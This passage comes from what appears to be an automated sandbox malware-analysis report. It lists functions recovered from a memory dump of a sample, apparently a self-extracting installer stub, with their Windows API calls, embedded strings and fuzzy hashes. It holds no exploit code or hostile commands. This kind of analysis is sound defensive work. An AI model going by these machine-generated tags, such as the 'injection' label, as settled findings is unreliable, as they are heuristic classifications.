STATIC, xrefs: 00401FFD

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: Object$Resource$CreateGlobalSelect$CompatibleWindow$DeleteFindFreeLoadStretch$AllocBitmapCapsClassCurrentDeviceHandleInitializeLockLongMenuMessageModeModuleNamePictureReleaseSendSizeofStreamlstrcmpimemcpy
String ID: IMAGES$STATIC
API String ID: 4202116410-1168396491
Opcode ID: b54bb7280c56bf500d59ef5ed5a6444fd67b84fc2872fad343f2864c8519ddee
Instruction ID: 87364bf851807a9d3783278cfb79ffb10547d227827cc6f6944e766e6ae994b9
Opcode Fuzzy Hash: b54bb7280c56bf500d59ef5ed5a6444fd67b84fc2872fad343f2864c8519ddee
Instruction Fuzzy Hash: 00418F31900108FFCB119FA0DC4CEEF7F79EF49741B008065FA05A61A0D7798A55DB64

Function 00408B36 Relevance: 27.1, APIs: 18, Instructions: 144windowcomtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 004071DA: GetDlgItem.USER32(?,?), ref: 004071E7
Part of subcall function 004071DA: ShowWindow.USER32(00000000,?), ref: 004071FE

GetDlgItem.USER32(?,000004B8), ref: 00408B63
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00408B72
GetDlgItem.USER32(?,000004B5), ref: 00408BB9
GetWindowLongW.USER32(00000000,000000F0), ref: 00408BBE
GetDlgItem.USER32(?,000004B5), ref: 00408BCE
SetWindowLongW.USER32(00000000), ref: 00408BD1
GetSystemMenu.USER32(?,00000000,000004B4,00000000), ref: 00408BF7
EnableMenuItem.USER32(00000000,0000F060,00000001), ref: 00408C09
GetDlgItem.USER32(?,000004B4), ref: 00408C13
SetFocus.USER32(00000000), ref: 00408C16
SetTimer.USER32(?,00000001,00000000,00000000), ref: 00408C45
CoCreateInstance.OLE32(00416E80,00000000,00000001,00416B08,?), ref: 00408C69
GetDlgItem.USER32(?,00000002), ref: 00408C86
IsWindow.USER32(00000000), ref: 00408C89
GetDlgItem.USER32(?,00000002), ref: 00408C99
EnableWindow.USER32(00000000), ref: 00408C9C
GetDlgItem.USER32(?,000004B5), ref: 00408CB0
ShowWindow.USER32(00000000), ref: 00408CB3

Part of subcall function 00407A3B: GetDlgItem.USER32(?,000004B6), ref: 00407A49

Part of subcall function 004086EB: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00408AB5), ref: 00408714
Part of subcall function 004086EB: LoadIconW.USER32(00000000), ref: 00408717
Part of subcall function 004086EB: GetSystemMetrics.USER32(00000032), ref: 0040872B
Part of subcall function 004086EB: GetSystemMetrics.USER32(00000031), ref: 00408730
Part of subcall function 004086EB: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00408AB5), ref: 00408739
Part of subcall function 004086EB: LoadImageW.USER32(00000000), ref: 0040873C
Part of subcall function 004086EB: SendMessageW.USER32(?,00000080,00000001,?), ref: 0040875C
Part of subcall function 004086EB: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408765
Part of subcall function 004086EB: GetDlgItem.USER32(?,000004B2), ref: 00408781
Part of subcall function 004086EB: GetDlgItem.USER32(?,000004B2), ref: 0040878B
Part of subcall function 004086EB: GetWindowLongW.USER32(?,000000F0), ref: 00408797
Part of subcall function 004086EB: SetWindowLongW.USER32(?,000000F0,00000000), ref: 004087A6
Part of subcall function 004086EB: GetDlgItem.USER32(?,000004B5), ref: 004087B4
Part of subcall function 004086EB: GetDlgItem.USER32(?,000004B5), ref: 004087C2
Part of subcall function 004086EB: GetWindowLongW.USER32(?,000000F0), ref: 004087CE
Part of subcall function 004086EB: SetWindowLongW.USER32(?,000000F0,00000000), ref: 004087DD

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: Item$Window$Long$MessageSendSystem$EnableHandleLoadMenuMetricsModuleShow$CreateFocusIconImageInstanceTimer
String ID:
API String ID: 1057135554-0
Opcode ID: 4c11372e592c7ee729e35fc86577e60408999ac1414f6f050f9cdca6ecb8968b
Instruction ID: 260128caa5a256333788f33680fc13296caa9e9ac1428af8f37f53b95f277c78
Opcode Fuzzy Hash: 4c11372e592c7ee729e35fc86577e60408999ac1414f6f050f9cdca6ecb8968b
Instruction Fuzzy Hash: E1415B71644708EBDA246F26DE49F977BADEB80B54F00853DF555A62E0CF79AC00CA2C

Function 004072F5 Relevance: 24.3, APIs: 16, Instructions: 294COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000004B3), ref: 0040731D
GetWindowLongW.USER32(00000000,000000F0), ref: 00407322
GetDlgItem.USER32(?,000004B4), ref: 00407359
GetWindowLongW.USER32(00000000,000000F0), ref: 0040735E
GetSystemMetrics.USER32(00000010), ref: 004073E0
GetSystemMetrics.USER32(00000011), ref: 004073E6
GetSystemMetrics.USER32(00000008), ref: 004073ED
GetSystemMetrics.USER32(00000007), ref: 004073F4
GetParent.USER32(?), ref: 00407418
GetClientRect.USER32(00000000,?), ref: 0040742A
ClientToScreen.USER32(?,?), ref: 0040743D
SetWindowPos.USER32(?,00000000,?,?,?,00000000,00000004), ref: 004074A3
GetClientRect.USER32(?,?), ref: 0040753D

Part of subcall function 004072C6: GetDlgItem.USER32(?,?), ref: 004072E4
Part of subcall function 004072C6: SetWindowPos.USER32(00000000), ref: 004072EB

ClientToScreen.USER32(?,?), ref: 00407446

Part of subcall function 004071BD: GetDlgItem.USER32(?,?), ref: 004071C9

GetSystemMetrics.USER32(00000008), ref: 004075C2
GetSystemMetrics.USER32(00000007), ref: 004075C9

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: MetricsSystem$ClientItemWindow$LongRectScreen$Parent
String ID:
API String ID: 747815384-0
Opcode ID: ae888a572df34d8200fbb5f065eb0fa3bdccac2998dde38db5d0dc60573d1a76
Instruction ID: 27a08476a10642596e4b9d74cae09f61027c0f3cc76a3fdd313218faaf2b79ea
Opcode Fuzzy Hash: ae888a572df34d8200fbb5f065eb0fa3bdccac2998dde38db5d0dc60573d1a76
Instruction Fuzzy Hash: 69A13C71E04609AFDB14CFB9CD85AEEBBF9EB48304F148529E905F3291D778E9008B65

Function 00403400 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 264COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,004193C0,00000000), ref: 00403489
??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,004193C0,00000000), ref: 00403491
??3@YAXPAX@Z.MSVCRT(0040470C,?), ref: 004036B7

Part of subcall function 0040269A: ??3@YAXPAX@Z.MSVCRT(?,-00000008,00404A32,?,?,?), ref: 004026A0
Part of subcall function 0040269A: ??3@YAXPAX@Z.MSVCRT(?,?,-00000008,00404A32,?,?,?), ref: 004026A7

??3@YAXPAX@Z.MSVCRT(0040470C,?,?,00000000,00000000,004193C0,00000000), ref: 004036E4

Strings

SetEnvironment, xrefs: 00403613
{\rtf, xrefs: 00403584, 00403599
0VA, xrefs: 0040363B, 00403641, 00403648, 00403651

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??3@
String ID: 0VA$SetEnvironment${\rtf
API String ID: 613200358-2390373888
Opcode ID: d2b1c421a04f985f795d6f716a120d89dd10d32365d08795990d937a98e965f4
Instruction ID: 87565cb6d8bbb35d5cc273a3f84cdf02fa03a2bcc309534b5b5a97bb7c5f0c64
Opcode Fuzzy Hash: d2b1c421a04f985f795d6f716a120d89dd10d32365d08795990d937a98e965f4
Instruction Fuzzy Hash: 9891BD31D00208BBDF21AFA1DD51AEE7BB8AF14309F20407BE841772E1DA795B06DB49

Function 0041382F Relevance: 16.6, APIs: 11, Instructions: 111COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 0041385C
__p__fmode.MSVCRT ref: 00413871
__p__commode.MSVCRT ref: 0041387F
__setusermatherr.MSVCRT ref: 004138AB
_initterm.MSVCRT ref: 004138C1
__getmainargs.MSVCRT ref: 004138E4
_initterm.MSVCRT ref: 004138F4
GetStartupInfoA.KERNEL32(?), ref: 00413933
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00413957
exit.MSVCRT ref: 00413967
_XcptFilter.MSVCRT ref: 00413979

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: eb2cf8166488941d166303a2e7f1762bb68f066f698331e9c3b40d0cb6435919
Instruction ID: 5122df4da7c12dbd5cee10cc3a7810c6062e66137140a5a107582b8573bb02de
Opcode Fuzzy Hash: eb2cf8166488941d166303a2e7f1762bb68f066f698331e9c3b40d0cb6435919
Instruction Fuzzy Hash: BA415BB1D50744EFDB219FA4D845BEA7BB8EB49711F20412FE44197391C7B84A81CB58

Function 00407823 Relevance: 16.6, APIs: 11, Instructions: 87windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00407831
GetWindowLongW.USER32(00000000), ref: 00407838
DefWindowProcW.USER32(?,?,?,?), ref: 0040784E
CallWindowProcW.USER32(?,?,?,?,?), ref: 0040786B
GetSystemMetrics.USER32(00000031), ref: 0040787D
GetSystemMetrics.USER32(00000032), ref: 00407884
GetWindowDC.USER32(?), ref: 00407896
GetWindowRect.USER32(?,?), ref: 004078A3
DrawIconEx.USER32(00000000,?,?,?,?,?,00000000,00000000,00000003), ref: 004078D7
ReleaseDC.USER32(?,00000000), ref: 004078DF

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: Window$MetricsProcSystem$CallDrawIconLongParentRectRelease
String ID:
API String ID: 2586545124-0
Opcode ID: 127c443f7cc8da3ca14b37cbf5cd9ef0ee5655b57506046fb41dccdc85244fb6
Instruction ID: 0b69cac6d3a88e426d6ff8758e07239202df165225e4a2dce5f130aa01be730a
Opcode Fuzzy Hash: 127c443f7cc8da3ca14b37cbf5cd9ef0ee5655b57506046fb41dccdc85244fb6
Instruction Fuzzy Hash: E021F97650060AEFCB01AFA8DD48EDF3BA9FB48351F008525F915E6190CB74E910DB65

Function 00403BA2 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 92COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,-00000001,;!@InstallEnd@!,;!@Install@!UTF-8!,?,00000000,00000000), ref: 00403BE9

Part of subcall function 00402A0D: ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000,;!@Install@!UTF-8!,?,00000000,00000000), ref: 00402A80

??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,-00000001,?,?,00000000,-00000001,;!@InstallEnd@!,;!@Install@!UTF-8!,?,00000000,00000000), ref: 00403C0F
wsprintfA.USER32 ref: 00403C31
wsprintfA.USER32 ref: 00403C5E

Strings

:%hs, xrefs: 00403C2B
;!@InstallEnd@!, xrefs: 00403BBD
;!@Install@!UTF-8!, xrefs: 00403BAE
:Language:%u, xrefs: 00403C58

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??3@$wsprintf
String ID: :%hs$:Language:%u$;!@Install@!UTF-8!$;!@InstallEnd@!
API String ID: 2704270482-695273242
Opcode ID: 9ae0ee48d956ebc158ea1b515db1e5daa1460f0fae3ddab712f6acd0183a952e
Instruction ID: 9d93b3f3b108edfb0f00dda14ecc0a1ac1becc65812ee6aaf2e5fef7c6953118
Opcode Fuzzy Hash: 9ae0ee48d956ebc158ea1b515db1e5daa1460f0fae3ddab712f6acd0183a952e
Instruction Fuzzy Hash: 9D21B472B00519ABDB01FAA5CD85EFD73ADAB48704F14802FF504F32C1CB789A068B99

Function 00407028 Relevance: 13.5, APIs: 9, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000004B3), ref: 0040703C
SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 0040704F
GetDlgItem.USER32(?,000004B4), ref: 00407059
SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 00407061
SendMessageW.USER32(?,00000401,00000000,00000000), ref: 00407071
GetDlgItem.USER32(?,?), ref: 0040707A
SendMessageW.USER32(00000000,000000F4,00000001,00000001), ref: 00407082
GetDlgItem.USER32(?,?), ref: 0040708B
SetFocus.USER32(00000000,?,?,00000000,00407F9B,000004B3,00000000,?,000004B3), ref: 0040708E

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ItemMessageSend$Focus
String ID:
API String ID: 3946207451-0
Opcode ID: 83591c7242e4733216ec8120015317eeb511db45ace1dd7a81700241ea92acb2
Instruction ID: ac3eac6f6a5d23dfb33c6f00e103186fc87c4e398078883204236830092b285c
Opcode Fuzzy Hash: 83591c7242e4733216ec8120015317eeb511db45ace1dd7a81700241ea92acb2
Instruction Fuzzy Hash: 9BF04F72240708BBEA212B61DD86F9BBA5EDF80B54F018425F340650F0CBF3AC109A28

Function 00407649 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 39libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(uxtheme,?,004089A8,000004B1,00000000,?,?,?,?,?,00408AB5), ref: 00407651
GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 00407662
GetWindow.USER32(?,00000005), ref: 0040767B
GetWindow.USER32(00000000,00000002), ref: 00407691

Strings

uxtheme, xrefs: 0040764A
hA, xrefs: 00407684
SetWindowTheme, xrefs: 0040765C

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: Window$AddressLibraryLoadProc
String ID: hA$SetWindowTheme$uxtheme
API String ID: 324724604-1539679821
Opcode ID: 80bf877f136b08889d9e5f4a8a5d9d855f6c5cd229e99b8175ebd185f35b86be
Instruction ID: 96ee7b80554ba3a4b118cc962054e33398f60e347ce36d0b88b8db399e3538ac
Opcode Fuzzy Hash: 80bf877f136b08889d9e5f4a8a5d9d855f6c5cd229e99b8175ebd185f35b86be
Instruction Fuzzy Hash: 3FF02772E46F2533C231136A6C48F9B669C9F85B707064536B805F7281DAAAEC0081EC

Function 0040769E Relevance: 12.1, APIs: 8, Instructions: 69COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,00419438,00000160), ref: 004076BD
SystemParametersInfoW.USER32(00000029,00000000,?,00000000), ref: 004076DC
GetDC.USER32(00000000), ref: 004076E7
GetDeviceCaps.GDI32(00000000,0000005A), ref: 004076F3
MulDiv.KERNEL32(?,00000048,00000000), ref: 00407702
ReleaseDC.USER32(00000000,?), ref: 00407710
GetModuleHandleW.KERNEL32(00000000), ref: 00407738
DialogBoxIndirectParamW.USER32(00000000,?,?,Function_00006EE0), ref: 0040776D

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: CapsDeviceDialogHandleIndirectInfoModuleParamParametersReleaseSystemmemcpy
String ID:
API String ID: 2693764856-0
Opcode ID: f32e2efff65d8c7350818911c104fb39d10c633f79d1afb389a2c80124d65094
Instruction ID: 6b4ef5ea24060658d5863b79bc38f96fa154aaa2e89c1bfb3ba309e5e1f78dd9
Opcode Fuzzy Hash: f32e2efff65d8c7350818911c104fb39d10c633f79d1afb389a2c80124d65094
Instruction Fuzzy Hash: 8021D1B1900618FFD7215BA19C88EEB7B7CFB44741F0000B6FA09A2290D7749E848F69

Function 0040720C Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 0040721C
GetSystemMetrics.USER32(0000000B), ref: 00407238
GetSystemMetrics.USER32(0000003D), ref: 00407241
GetSystemMetrics.USER32(0000003E), ref: 00407249
SelectObject.GDI32(?,?), ref: 00407266
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 00407281
SelectObject.GDI32(?,?), ref: 004072A7
ReleaseDC.USER32(?,?), ref: 004072B6

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: MetricsSystem$ObjectSelect$DrawReleaseText
String ID:
API String ID: 2466489532-0
Opcode ID: 30350efc689a7719ea887eb8f4495072b611486211cb3e9d7370f6f07856f78e
Instruction ID: 0ddf9739e914bca3a0fdf19f43e85ccaed600b4ac583c8006899e124ffc187c2
Opcode Fuzzy Hash: 30350efc689a7719ea887eb8f4495072b611486211cb3e9d7370f6f07856f78e
Instruction Fuzzy Hash: 3C216572900609EFCB018FA5DD44A8EBFF4EF48364F20C4AAE419A72A0C335AA50DF40

Function 00408196 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 102windowCOMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004081D0
GetDlgItem.USER32(?,000004B8), ref: 004081EE
SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 00408200
wsprintfW.USER32 ref: 0040821E
??3@YAXPAX@Z.MSVCRT(?), ref: 004082B6

Strings

%d%%, xrefs: 00408218

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??3@ItemMessageSendUnothrow_t@std@@@__ehfuncinfo$??2@wsprintf
String ID: %d%%
API String ID: 3753976982-1518462796
Opcode ID: 42cd89c95a49925efe798b81d99ff8d4be5088a633c9ff9fdeeda3677ef6b080
Instruction ID: c98f75f04a9c9230d8836c9ffda7361431c24c45b39ddc8f7b463edf0082575f
Opcode Fuzzy Hash: 42cd89c95a49925efe798b81d99ff8d4be5088a633c9ff9fdeeda3677ef6b080
Instruction Fuzzy Hash: F7319171900704FBCB159F60DD45EDA7BB9FF48704F10806EFA46662E1CB75AA11CB68

Function 004083AD Relevance: 10.6, APIs: 7, Instructions: 63timethreadinjectionCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000000), ref: 004083C7
KillTimer.USER32(?,00000001), ref: 004083D8
SetTimer.USER32(?,00000001,00000000,00000000), ref: 00408402
SuspendThread.KERNEL32(00000298), ref: 0040841B
ResumeThread.KERNEL32(00000298), ref: 00408438
EndDialog.USER32(?,00000000), ref: 0040845A

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: DialogThreadTimer$KillResumeSuspend
String ID:
API String ID: 4151135813-0
Opcode ID: 35681ac8209b8d1f5ee70de779bcd553034dbd3016c3fd281c537b84293da185
Instruction ID: a6440e5942dbc82c6b0340cb4ae65663e5addf35b072ffdb2faf6fa56e3ea6cc
Opcode Fuzzy Hash: 35681ac8209b8d1f5ee70de779bcd553034dbd3016c3fd281c537b84293da185
Instruction Fuzzy Hash: 59119171200B09EFD7146F61EE94AAB3BADFB81B49704C03EF996A11A1DB355C10DA6C

Function 00404032 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,%%M\,0041572C,?,?,00000000,00404622,?,?,00000000,?,?,00406260,?), ref: 00404078
??3@YAXPAX@Z.MSVCRT(?,?,?,%%M/,0041571C,?,?,?,%%M\,0041572C,?,?,00000000,00404622,?,?), ref: 004040B6
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%M/,0041571C,?,?,?,%%M\,0041572C,?,?,00000000), ref: 004040DC
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%M/,0041571C,?,?,?,%%M\,0041572C,?,?), ref: 004040E4

Strings

%%M/, xrefs: 00404096
%%M\, xrefs: 00404058

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??3@
String ID: %%M/$%%M\
API String ID: 613200358-4143866494
Opcode ID: 8677c02abf867bd37ca258bec985b4f5904aef2a07f64a71b164819d4d184b46
Instruction ID: 0aef16b05ee34c363868bff67d8d58263bc671b78327bff7a9d128d2c4d1c409
Opcode Fuzzy Hash: 8677c02abf867bd37ca258bec985b4f5904aef2a07f64a71b164819d4d184b46
Instruction Fuzzy Hash: AC11F935C0010AFADF05FFA1D993CED7B39AF10308F50812AB915721E1DB7866899B88

Function 00403EBC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,%%T\,0041572C,?,?,00000000,00404622,?,?,00000000,?,?,00406260,?), ref: 00403F02
??3@YAXPAX@Z.MSVCRT(?,?,?,%%T/,0041571C,?,?,?,%%T\,0041572C,?,?,00000000,00404622,?,?), ref: 00403F40
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%T/,0041571C,?,?,?,%%T\,0041572C,?,?,00000000), ref: 00403F66
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%T/,0041571C,?,?,?,%%T\,0041572C,?,?), ref: 00403F6E

Strings

%%T/, xrefs: 00403F20
%%T\, xrefs: 00403EE2

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??3@
String ID: %%T/$%%T\
API String ID: 613200358-2679640699
Opcode ID: f3f3d5414f060ac97f84cd4fb4e76d4c066e7be8abca8f8d98a1b02d4c47ed12
